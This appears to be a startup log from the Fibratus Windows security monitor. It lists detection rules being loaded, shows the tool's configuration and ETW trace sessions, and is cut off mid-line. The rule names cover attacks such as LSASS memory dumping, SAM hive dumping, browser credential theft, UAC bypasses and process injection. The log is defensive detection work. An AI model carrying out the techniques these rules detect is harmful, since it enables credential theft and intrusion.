+time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-09T18:02:42+01:00 level=info msg=bootstrapping with pid 17176. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-09T18:02:42+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ to=>[] use-template=>true content-type=>text/html port=>25 enabled=>false] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] systray=>[ quiet-mode=>false sound=>true enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-handles=>false serialize-images=>false serialize-pe=>false] + eventsource .................... [ enable-dns=>false enable-audit-api=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-net=>true min-buffers=>16 enable-handle=>false enable-thread=>true flush-interval=>1s enable-mem=>false enable-image=>true enable-fileio=>true enable-registry=>true stack-enrichment=>true enable-threadpool=>false enable-vamap=>true max-buffers=>36 buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 level=>info formatter=>text max-age=>0 max-size=>100 log-stdout=>true] + output ......................... [ console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] elasticsearch=>[ bulk-workers=>1 template-name=>fibratus healthcheck-interval=>10s flush-period=>1s trace-log=>false enabled=>false healthcheck=>true healthcheck-timeout=>5s index-name=>fibratus sniff=>false timeout=>5s servers=>[http://127.0.0.1:9200] gzip-compression=>false] eventlog=>[ enabled=>false level=>info] http=>[ method=>POST timeout=>5s serializer=>json endpoints=>[] enabled=>false enable-gzip=>false tls-insecure-skip-verify=>false] amqp=>[ exchange=>fibratus passive=>false tls-insecure-skip-verify=>false delivery-mode=>transient vhost=>/ url=>amqp://localhost:5672 enabled=>false durable=>false exchange-type=>topic routing-key=>fibratus timeout=>5s]] + pe ............................. [ read-sections=>false read-resources=>false enabled=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-files=>[] excluded-procs=>[] scan-timeout=>10s fastscan=>true enabled=>false skip-registry=>false skip-files=>false skip-mmaps=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-09T18:02:42+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-09T18:02:45+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-09T18:03:05+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-09T18:03:06+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-09T18:03:06+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-09T18:04:12+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from 